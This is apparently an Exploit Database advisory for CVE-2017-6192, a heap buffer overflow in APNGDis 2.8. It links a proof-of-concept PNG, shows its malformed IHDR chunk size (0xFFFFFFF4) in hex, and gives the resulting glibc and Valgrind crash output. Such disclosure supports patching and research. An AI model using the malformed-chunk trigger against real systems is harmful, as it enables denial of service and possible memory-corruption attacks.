APNGDis 2.8 – ‘chunk size descriptor’ Heap Buffer Overflow
# Exploit Title: APNGDis chunk size descriptor Buffer Overflow # Date: 14-03-2017 # Exploit Author: Alwin Peppels # Vendor Homepage: http://apngdis.sourceforge.net/ # Software Link: https://sourceforge.net/projects/apngdis/files/2.8/ # Version: 2.8 # Tested on: Linux Debian / Windows 7 # CVE : CVE-2017-6192 Additional analysis: https://www.onvio.nl/nieuws/cve-2017-6192 POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41668.png The PoC contains an IHDR chunk size descriptor of 0xFFFFFFF4 ‰ P N G . . . . ÿ ÿ ÿ ô I H D R 89 50 4E 47 0D 0A 1A 0A FF FF FF F4 49 48 44 52 ^ ^ ^ ^ Bash: Reading '../ihdr_chunk_size_poc.png'... *** Error in `./apngdis': free(): invalid next size (fast): 0x00005556a08d2270 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7f932b0adbcb] /lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7f932b0b3f96] /lib/x86_64-linux-gnu/libc.so.6(+0x7778e)[0x7f932b0b478e] ./apngdis(+0x2e2f)[0x55569f636e2f] ./apngdis(+0x324f)[0x55569f63724f] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f932b05d2b1] ./apngdis(+0x16ca)[0x55569f6356ca] Valgrind: Reading '../ihdr_chunk_size_poc.png'... ==10383== Invalid write of size 4 ==10383== at 0x10B502: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:113) ==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206) ==10383== by 0x10B24E: main (apngdis.cpp:498) ==10383== Address 0x5ed3370 is 0 bytes after a block of size 0 alloc'd ==10383== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423) ==10383== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112) ==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206) ==10383== by 0x10B24E: main (apngdis.cpp:498) ==10383== ==10383== Invalid write of size 1 ==10383== at 0x4C330AD: __GI_mempcpy (vg_replace_strmem.c:1518) ==10383== by 0x5B94B0D: _IO_file_xsgetn (fileops.c:1400) ==10383== by 0x5B89AA8: fread (iofread.c:38) ==10383== by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114) ==10383== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206) ==10383== by 0x10B24E: main (apngdis.cpp:498) ==10383== Address 0x5ed338c is 28 bytes after a block of size 0 in arena "client" ==10383== valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed. valgrind: Heap block lo/hi size mismatch: lo = 64, hi = 90194313415. |